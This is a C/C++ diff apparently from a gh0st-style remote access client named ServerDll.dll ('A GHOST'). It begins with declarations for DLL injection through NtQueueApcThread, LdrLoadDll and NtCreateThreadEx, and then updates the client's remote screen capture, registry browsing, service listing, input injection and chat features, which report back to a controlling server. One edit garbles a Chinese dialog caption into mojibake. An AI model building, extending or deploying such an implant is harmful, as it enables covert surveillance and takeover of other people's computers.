DWORD dwProcessId; // 进程ID号
|
||||
} MIB_TCPEXROW, * PMIB_TCPEXROW;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_TCPEXROW table[ANY_SIZE];
|
||||
} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwLocalAddr; // 本地地址
|
||||
DWORD dwLocalPort; // 本地端口
|
||||
DWORD dwProcessId; // 进程ID号
|
||||
} MIB_UDPEXROW, * PMIB_UDPEXROW;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_UDPEXROW table[ANY_SIZE];
|
||||
} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwState; //连接状态
|
||||
DWORD dwLocalAddr; //本地地址
|
||||
DWORD dwLocalPort; //本地端口
|
||||
DWORD dwRemoteAddr; //远程地址
|
||||
DWORD dwRemotePort; //远程端口
|
||||
DWORD dwProcessId; //进程标识
|
||||
DWORD Unknown; //待定标识
|
||||
} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumEntries;
|
||||
MIB_TCPEXROW_VISTA table[ANY_SIZE];
|
||||
} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA;
|
||||
|
||||
typedef DWORD(WINAPI* _InternalGetTcpTable2)(
|
||||
PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista,
|
||||
HANDLE heap,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
|
||||
typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)(
|
||||
PMIB_UDPEXTABLE* pUdpTable,
|
||||
HANDLE heap,
|
||||
DWORD flags
|
||||
);
|
||||
// 扩展函数原型
|
||||
typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)(
|
||||
PMIB_TCPEXTABLE* pTcpTable,
|
||||
BOOL bOrder,
|
||||
HANDLE heap,
|
||||
DWORD zero,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)(
|
||||
PMIB_UDPEXTABLE* pUdpTable,
|
||||
BOOL bOrder,
|
||||
HANDLE heap,
|
||||
DWORD zero,
|
||||
DWORD flags
|
||||
);
|
||||
|
||||
typedef _CLIENT_ID* PCLIENT_ID;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
|
||||
typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID);
|
||||
typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||
typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount);
|
||||
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
|
||||
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten);
|
||||
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL);
|
||||
typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle);
|
||||
typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx)
|
||||
(
|
||||
OUT PHANDLE hThread,
|
||||
IN ACCESS_MASK DesiredAccess,
|
||||
IN PVOID ObjectAttributes,
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID lpStartAddress,
|
||||
IN PVOID lpParameter,
|
||||
IN ULONG Flags,
|
||||
IN SIZE_T StackZeroBits,
|
||||
IN SIZE_T SizeOfStackCommit,
|
||||
IN SIZE_T SizeOfStackReserve,
|
||||
OUT PVOID lpBytesBuffer);
|
||||
|
||||
typedef struct _THREAD_DATA
|
||||
{
|
||||
pRtlInitUnicodeString fnRtlInitUnicodeString;
|
||||
pLdrLoadDll fnLdrLoadDll;
|
||||
UNICODE_STRING UnicodeString;
|
||||
WCHAR DllName[260];
|
||||
PWCHAR DllPath;
|
||||
ULONG Flags;
|
||||
HANDLE ModuleHandle;
|
||||
}THREAD_DATA, * PTHREAD_DATA;
|
||||
|
||||
struct InjectData {
|
||||
DWORD ExeIsx86;
|
||||
DWORD mode; //注入模式
|
||||
DWORD dwProcessID;//进程ID
|
||||
DWORD datasize; //本地数据尺寸
|
||||
char strpath[1024]; //远程落地目录
|
||||
};
|
||||
+21
-4
@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
|
||||
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
|
||||
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
|
||||
// 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5)时,
|
||||
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
|
||||
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
|
||||
|
||||
static DWORD s_lastDesktopFailLog = 0;
|
||||
DWORD now = GetTickCount();
|
||||
bool logDue = (now - s_lastDesktopFailLog >= 60000);
|
||||
if (logDue)
|
||||
s_lastDesktopFailLog = now;
|
||||
|
||||
if (logDue)
|
||||
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
|
||||
|
||||
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
||||
if (hWinSta) {
|
||||
SetProcessWindowStation(hWinSta);
|
||||
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
|
||||
err = GetLastError();
|
||||
if (logDue)
|
||||
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
|
||||
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
|
||||
if (!hInputDesktop) {
|
||||
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
|
||||
err = GetLastError();
|
||||
if (logDue)
|
||||
Mprintf("OpenDesktop Default failed: %d\n", err);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
|
||||
err = GetLastError();
|
||||
if (logDue)
|
||||
Mprintf("OpenWindowStation failed: %d\n", err);
|
||||
}
|
||||
}
|
||||
return hInputDesktop;
|
||||
|
||||
@@ -9,6 +9,14 @@
|
||||
|
||||
#if ENABLE_REGISTRY
|
||||
|
||||
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
|
||||
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
|
||||
struct REGMSG {
|
||||
int count; //名字个数
|
||||
DWORD size; //名字大小
|
||||
DWORD valsize; //值大小
|
||||
};
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -46,17 +54,44 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
||||
if(szPath!=NULL) {
|
||||
Opt.SetPath(szPath);
|
||||
}
|
||||
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
|
||||
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
|
||||
char *szBuffer= Opt.FindPath();
|
||||
// 键打不开(不存在 / 路径不存在 / 拒绝访问 …):回结构化错误包。此前这种情况与
|
||||
// 「空键」同为 NULL,服务端只能回一个空列表,调用方无法区分。
|
||||
LSTATUS st = Opt.GetLastOpenStatus();
|
||||
if (st != ERROR_SUCCESS) {
|
||||
BYTE pkt[1 + sizeof(LSTATUS)] = { 0 };
|
||||
pkt[0] = TOKEN_REG_ERROR;
|
||||
memcpy(pkt + 1, &st, sizeof(LSTATUS));
|
||||
m_ClientObject->Send2Server((char*)pkt, sizeof(pkt));
|
||||
// 老服务端不认识 TOKEN_REG_ERROR:补上原来的两个空包,仍按「空键」处理,行为不变。
|
||||
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||||
empty[0] = TOKEN_REG_PATH;
|
||||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||
empty[0] = TOKEN_REG_KEY;
|
||||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||
return;
|
||||
}
|
||||
if(szBuffer!=NULL) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
//目录下的目录
|
||||
LocalFree(szBuffer);
|
||||
} else {
|
||||
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||||
empty[0] = TOKEN_REG_PATH;
|
||||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||
}
|
||||
// 值包(TOKEN_REG_KEY):同上,无值时也回传空包。
|
||||
szBuffer = Opt.FindKey();
|
||||
if(szBuffer!=NULL) {
|
||||
//目录下的文件
|
||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
} else {
|
||||
char empty[1 + sizeof(REGMSG)] = { 0 };
|
||||
empty[0] = TOKEN_REG_KEY;
|
||||
m_ClientObject->Send2Server(empty, sizeof(empty));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -21,10 +21,13 @@ enum MYKEY {
|
||||
|
||||
|
||||
enum KEYVALUE {
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
MREG_SZ, // REG_SZ
|
||||
MREG_DWORD, // REG_DWORD
|
||||
MREG_BINARY, // REG_BINARY
|
||||
MREG_EXPAND_SZ, // REG_EXPAND_SZ
|
||||
MREG_MULTI_SZ, // REG_MULTI_SZ
|
||||
MREG_QWORD, // REG_QWORD
|
||||
MREG_NONE // REG_NONE / 未知类型
|
||||
};
|
||||
|
||||
struct REGMSG {
|
||||
@@ -57,6 +60,7 @@ RegisterOperation::RegisterOperation(char bToken)
|
||||
}
|
||||
|
||||
ZeroMemory(KeyPath,MAX_PATH);
|
||||
m_lastOpenStatus = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
RegisterOperation::~RegisterOperation()
|
||||
@@ -70,7 +74,8 @@ char* RegisterOperation::FindPath()
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
/*打开注册表 User kdjfjkf\kdjfkdjf\ */
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
m_lastOpenStatus = RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey);
|
||||
if(m_lastOpenStatus==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameCount,NameMaxLen;
|
||||
DWORD KeySize,KeyCount,KeyMaxLen,MaxDataLen;
|
||||
//这就是枚举了
|
||||
@@ -93,7 +98,7 @@ char* RegisterOperation::FindPath()
|
||||
REGMSG msg; //数据头
|
||||
msg.size=KeySize;
|
||||
msg.count=KeyCount;
|
||||
memcpy(szBuffer+1,(void*)&msg,Size);
|
||||
memcpy(szBuffer+1,(void*)&msg,sizeof(REGMSG));
|
||||
|
||||
char * szTemp=new char[KeySize];
|
||||
for(dwIndex=0; dwIndex<KeyCount; dwIndex++) { //枚举项
|
||||
@@ -124,7 +129,8 @@ char* RegisterOperation::FindKey()
|
||||
|
||||
char *szBuffer=NULL;
|
||||
HKEY hKey; //注册表返回句柄
|
||||
if(RegOpenKeyEx(MKEY,KeyPath,0,KEY_ALL_ACCESS,&hKey)==ERROR_SUCCESS) { //打开
|
||||
m_lastOpenStatus = RegOpenKeyEx(MKEY,KeyPath,0,KEY_READ,&hKey);
|
||||
if(m_lastOpenStatus==ERROR_SUCCESS) { //打开
|
||||
DWORD dwIndex=0,NameSize,NameCount,NameMaxLen,Type;
|
||||
DWORD KeyCount,KeyMaxLen,DataSize,MaxDataLen;
|
||||
//这就是枚举了
|
||||
@@ -167,17 +173,17 @@ char* RegisterOperation::FindKey()
|
||||
RegEnumValue(hKey,dwIndex,szValueName,&NameSize,
|
||||
NULL,&Type,szValueData,&DataSize);//读取键值
|
||||
|
||||
if(Type==REG_SZ) {
|
||||
szTemp[0]=MREG_SZ;
|
||||
}
|
||||
if(Type==REG_DWORD) {
|
||||
szTemp[0]=MREG_DWORD;
|
||||
}
|
||||
if(Type==REG_BINARY) {
|
||||
szTemp[0]=MREG_BINARY;
|
||||
}
|
||||
if(Type==REG_EXPAND_SZ) {
|
||||
szTemp[0]=MREG_EXPAND_SZ;
|
||||
// 值类型映射:REG_SZ/DWORD/BINARY/EXPAND_SZ 之外补 MULTI_SZ/QWORD/NONE,
|
||||
// 未识别类型一律 MREG_NONE(避免误报为 REG_SZ)。
|
||||
switch (Type) {
|
||||
case REG_SZ: szTemp[0] = MREG_SZ; break;
|
||||
case REG_EXPAND_SZ: szTemp[0] = MREG_EXPAND_SZ; break;
|
||||
case REG_MULTI_SZ: szTemp[0] = MREG_MULTI_SZ; break;
|
||||
case REG_DWORD: szTemp[0] = MREG_DWORD; break;
|
||||
case REG_QWORD: szTemp[0] = MREG_QWORD; break;
|
||||
case REG_BINARY: szTemp[0] = MREG_BINARY; break;
|
||||
case REG_NONE: szTemp[0] = MREG_NONE; break;
|
||||
default: szTemp[0] = MREG_NONE; break;
|
||||
}
|
||||
szTemp+=sizeof(BYTE);
|
||||
strcpy(szTemp,szValueName);
|
||||
|
||||
@@ -19,6 +19,11 @@ public:
|
||||
char KeyPath[MAX_PATH];
|
||||
void SetPath(char *szPath);
|
||||
char* FindKey();
|
||||
// 最近一次 RegOpenKeyEx 的状态:区分「键打不开」(不存在/拒绝访问)与「键为空」
|
||||
// (后者返回 NULL 但状态是 ERROR_SUCCESS)。
|
||||
LSTATUS GetLastOpenStatus() const { return m_lastOpenStatus; }
|
||||
private:
|
||||
LSTATUS m_lastOpenStatus;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_REGISTEROPERATION_H__BB4F3ED1_FA98_4BA4_97D6_A78E683131CC__INCLUDED_)
|
||||
+17
-1
@@ -14,6 +14,7 @@
|
||||
#include <functional>
|
||||
#include <future>
|
||||
#include <memory>
|
||||
#include <atomic>
|
||||
#include <emmintrin.h> // SSE2
|
||||
#include "common/config.h"
|
||||
#include "VideoEncoderBase.h"
|
||||
@@ -149,6 +150,9 @@ public:
|
||||
int m_FrameID; // 帧序号
|
||||
int m_GOP; // 关键帧间隔
|
||||
bool m_SendKeyFrame; // 发送关键帧
|
||||
// Web 端请求下一帧强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ)。只对 H.264 生效;
|
||||
// 必须在成功编码出 IDR 后清除,否则 ScanNextScreen 失败/硬编 EAGAIN 时请求会丢。
|
||||
std::atomic<bool> m_bForceKeyFrame{false};
|
||||
std::unique_ptr<VideoEncoderBase> m_encoder; // 编码器,ensureEncoder() lazy 创建,走 EncoderFactory 探测
|
||||
bool m_bEncoderPrimed = false; // encoder 是否已成功产出过一个包;
|
||||
// false 时禁止 skip——避免单显示器路径
|
||||
@@ -257,6 +261,11 @@ public:
|
||||
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
|
||||
}
|
||||
}
|
||||
|
||||
// 请求下一帧强制 IDR(可跨线程调用)。只影响 H.264 编码路径;
|
||||
// 实际清除发生在成功编码出 IDR 之后。
|
||||
void RequestKeyFrame() { m_bForceKeyFrame.store(true, std::memory_order_relaxed); }
|
||||
|
||||
virtual ~ScreenCapture()
|
||||
{
|
||||
if (m_BitmapInfor_Full != NULL) {
|
||||
@@ -876,7 +885,12 @@ public:
|
||||
{
|
||||
BYTE algo = m_bAlgorithm;
|
||||
int frameID = m_FrameID + 1;
|
||||
bool keyFrame = (frameID % m_GOP == 0);
|
||||
// Web 端可请求强制 IDR(COMMAND_SCREEN_KEYFRAME_REQ),只对 H.264 有意义。
|
||||
// 标志在成功编码出 IDR 后才清除(见下方 H.264 keyframe 分支),
|
||||
// 保证 ScanNextScreen 失败或硬编 EAGAIN 时请求不会丢失。
|
||||
bool forceKeyFrame = (algo == ALGORITHM_H264) &&
|
||||
m_bForceKeyFrame.load(std::memory_order_relaxed);
|
||||
bool keyFrame = forceKeyFrame || (frameID % m_GOP == 0);
|
||||
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
|
||||
LPBYTE data = m_RectBuffer + 1;
|
||||
// 写入使用了哪种算法
|
||||
@@ -967,6 +981,8 @@ public:
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
m_bEncoderPrimed = true; // 与下方 FirstBuffer 同步:自此 skip 安全
|
||||
// IDR 已成功产出,满足(可能的)强制关键帧请求。
|
||||
m_bForceKeyFrame.store(false, std::memory_order_relaxed);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
|
||||
@@ -106,8 +106,13 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
||||
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
||||
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
||||
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
||||
if (!m_Signature.empty()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, chunkKb, durMs, Logf);
|
||||
}
|
||||
#endif
|
||||
m_isGDI = TRUE;
|
||||
m_virtual = FALSE;
|
||||
@@ -155,6 +160,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
||||
m_ScreenSettings.ScreenHeight = cfg.GetInt("settings", "ScreenHeight", 0);
|
||||
m_ScreenSettings.FullScreen = cfg.GetInt("settings", "FullScreen", priv);
|
||||
m_ScreenSettings.RemoteCursor = cfg.GetInt("settings", "RemoteCursor", 0);
|
||||
m_ScreenSettings.CustomCursor = cfg.GetInt("settings", "CustomCursor", 0);
|
||||
m_ScreenSettings.ScrollDetectInterval = cfg.GetInt("settings", "ScrollDetectInterval", 2); // 默认每2帧
|
||||
m_ScreenSettings.QualityLevel = quality;
|
||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
@@ -188,6 +194,7 @@ bool CScreenManager::RestartScreen(BOOL switchScreen)
|
||||
m_bIsWorking = FALSE;
|
||||
DWORD s = WaitForSingleObject(m_hWorkThread, 1000);
|
||||
if (s == WAIT_TIMEOUT) {
|
||||
Mprintf("TerminateThread: 截屏工作线程 handle=%p threadId=%lu\n", m_hWorkThread, GetThreadId(m_hWorkThread));
|
||||
TerminateThread(m_hWorkThread, 0x20260215);
|
||||
}
|
||||
|
||||
@@ -470,7 +477,7 @@ void CScreenManager::InitScreenSpy()
|
||||
BOOL switchScreen = m_SwitchScreen;
|
||||
if (!(user == NULL || ((int)user) == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
if (param) {
|
||||
if (param && param->length>0) {
|
||||
DXGI = param->buffer[0];
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
all = param->length > 2 ? param->buffer[2] : all;
|
||||
@@ -798,7 +805,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder, const std::
|
||||
Mprintf("Enter thread RunFileReceiver: %d\n", GetCurrentThreadId());
|
||||
IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn);
|
||||
if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) {
|
||||
pClient->setManagerCallBack(mgr, CManager::DataProcess, CManager::ReconnectProcess);
|
||||
pClient->setManagerCallBack(mgr, CManager::DataProcess, nullptr);
|
||||
// 发送目录并准备接收文件
|
||||
int len = 1 + folder.length() + files.length() + 1;
|
||||
char* cmd = new char[len];
|
||||
@@ -862,6 +869,20 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_ClientObject->StopRunning();
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_SIGNATURE: {
|
||||
SignatureResp resp = { 0 };
|
||||
memcpy(&resp, szBuffer + 1, min(sizeof(resp), ulLength-1));
|
||||
if (m_Signature.empty()) {
|
||||
m_Signature = std::string(resp.signature, resp.signature + 64);
|
||||
m_ClientObject->SetVerifyInfo(resp.msg, m_Signature);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int chunkKb, durMs;
|
||||
GetTransferSpeed(cfg, chunkKb, durMs);
|
||||
InitFileUpload({}, std::string(resp.msg), m_Signature, chunkKb, durMs, Logf);
|
||||
Mprintf("[CScreenManager] Received Signature: <%s, %s>\n", resp.msg, m_Signature.c_str());
|
||||
}
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_ROI:{
|
||||
if (ulLength > sizeof(RECT)) {
|
||||
memcpy(&m_ROI, szBuffer + 1, sizeof(RECT));
|
||||
@@ -909,6 +930,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
SwitchScreen();
|
||||
break;
|
||||
}
|
||||
case COMMAND_SCREEN_KEYFRAME_REQ: {
|
||||
// Web 屏幕墙恢复/新加入者请求:下一帧强制 IDR,立即重建参考链。
|
||||
if (m_ScreenSpyObject) {
|
||||
m_ScreenSpyObject->RequestKeyFrame();
|
||||
}
|
||||
break;
|
||||
}
|
||||
case CMD_FULL_SCREEN: {
|
||||
int fullScreen = szBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
@@ -923,6 +951,13 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
m_ScreenSettings.RemoteCursor = remoteCursor;
|
||||
break;
|
||||
}
|
||||
case CMD_CUSTOM_CURSOR: {
|
||||
int CustomCursor = szBuffer[1];
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetInt("settings", "CustomCursor", CustomCursor);
|
||||
m_ScreenSettings.CustomCursor = CustomCursor;
|
||||
break;
|
||||
}
|
||||
case CMD_MULTITHREAD_COMPRESS: {
|
||||
int threadNum = szBuffer[1];
|
||||
m_ClientObject->SetMultiThreadCompress(threadNum);
|
||||
@@ -1706,11 +1741,15 @@ bool IsExtendedKey(WPARAM vKey)
|
||||
|
||||
VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
// 记录大小判定:现代控制端(本服务端)统一发 48 字节 MSG64;28 字节 MSG32 仅为兼容
|
||||
// 老 32 位控制端。二者长度的最小公倍数是 336(=7×48=12×28),批量注入(如 MCP 远程
|
||||
// 控制的 type/拖拽)时若先判 %28,会把 7 的整数倍条 MSG64 误判成 MSG32,字段错位导致
|
||||
// 输入错乱甚至吞掉按键;故先判 %48,仅当不整除 48 才回落到 28。
|
||||
int msgSize = sizeof(MSG64);
|
||||
if (ulLength % 28 == 0) // 32位控制端发过来的消息
|
||||
msgSize = 28;
|
||||
else if (ulLength % 48 == 0) // 64位控制端发过来的消息
|
||||
if (ulLength % 48 == 0) // 64位控制端(现代服务端)发过来的消息
|
||||
msgSize = 48;
|
||||
else if (ulLength % 28 == 0) // 32位控制端发过来的消息(兼容)
|
||||
msgSize = 28;
|
||||
else return; // 数据包不合法
|
||||
|
||||
// 命令个数
|
||||
|
||||
+18
-3
@@ -26,12 +26,23 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||
|
||||
IDD_DIALOG DIALOGEX 0, 0, 180, 108
|
||||
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "消息提示"
|
||||
CAPTION "ÏûÏ¢Ìáʾ"
|
||||
FONT 10, "System", 0, 0, 0x0
|
||||
BEGIN
|
||||
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
|
||||
END
|
||||
|
||||
IDD_CHAT DIALOGEX 0, 0, 235, 155
|
||||
STYLE DS_SETFONT | DS_MODALFRAME | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU
|
||||
CAPTION "Remote Chat"
|
||||
FONT 9, "MS Shell Dlg", 400, 0, 0x1
|
||||
BEGIN
|
||||
EDITTEXT IDC_EDIT_CHATLOG,3,3,229,107,ES_MULTILINE | ES_AUTOVSCROLL | ES_READONLY | WS_VSCROLL
|
||||
EDITTEXT IDC_EDIT_NEWMSG,3,113,170,38,ES_MULTILINE | ES_AUTOVSCROLL | WS_VSCROLL
|
||||
DEFPUSHBUTTON "Send",IDC_BUTTON_SEND,178,116,54,14
|
||||
PUSHBUTTON "End Chat",IDC_BUTTON_END,178,133,54,14
|
||||
END
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
@@ -44,6 +55,10 @@ BEGIN
|
||||
IDD_DIALOG, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
|
||||
IDD_CHAT, DIALOG
|
||||
BEGIN
|
||||
END
|
||||
END
|
||||
#endif // APSTUDIO_INVOKED
|
||||
|
||||
@@ -88,7 +103,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,7
|
||||
FILEVERSION 1,0,4,1
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +121,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.7"
|
||||
VALUE "FileVersion", "1.0.4.1"
|
||||
VALUE "InternalName", "ServerDll.dll"
|
||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||
VALUE "OriginalFilename", "ServerDll.dll"
|
||||
|
||||
@@ -24,11 +24,20 @@ CServicesManager::~CServicesManager()
|
||||
|
||||
VOID CServicesManager::SendServicesList()
|
||||
{
|
||||
LPBYTE szBuffer = GetServicesList();
|
||||
DWORD dwErr = 0;
|
||||
LPBYTE szBuffer = GetServicesList(&dwErr);
|
||||
if (szBuffer == NULL) {
|
||||
if (dwErr == 0) dwErr = ERROR_GEN_FAILURE;
|
||||
Mprintf("Get service list failed[IP: %s][win32=%lu]\n", m_ClientObject->GetPublicIP().c_str(), dwErr);
|
||||
// 结构化失败回报:MCP 端据此立即返回「权限不足/SCM 打不开」,不必等 20s 超时。
|
||||
// 老服务端不认识 TOKEN_SERVICE_ERROR,走 default 分支丢弃,随后仍按原样收到 ClientMsg。
|
||||
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
|
||||
pkt[0] = TOKEN_SERVICE_ERROR;
|
||||
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
|
||||
m_ClientObject->Send2Server((char*)pkt, sizeof(pkt));
|
||||
// 保留原有弹窗消息:老服务端与 MFC 服务管理器(新 token 由对话框忽略)行为不变。
|
||||
char buf[128];
|
||||
sprintf_s(buf, "Get service list failed[IP: %s]", m_ClientObject->GetPublicIP().c_str());
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("服务管理", buf);
|
||||
m_ClientObject->Send2Server((char*)&msg, sizeof(msg));
|
||||
return;
|
||||
@@ -42,7 +51,7 @@ VOID CServicesManager::SendServicesList()
|
||||
#define skCrypt(p) p
|
||||
#endif
|
||||
|
||||
LPBYTE CServicesManager::GetServicesList()
|
||||
LPBYTE CServicesManager::GetServicesList(DWORD* err)
|
||||
{
|
||||
LPENUM_SERVICE_STATUS ServicesStatus = NULL;
|
||||
LPQUERY_SERVICE_CONFIG ServicesInfor = NULL;
|
||||
@@ -52,12 +61,14 @@ LPBYTE CServicesManager::GetServicesList()
|
||||
DWORD dwLength = 0;
|
||||
DWORD dwOffset = 0;
|
||||
if((m_hscManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))==NULL) {
|
||||
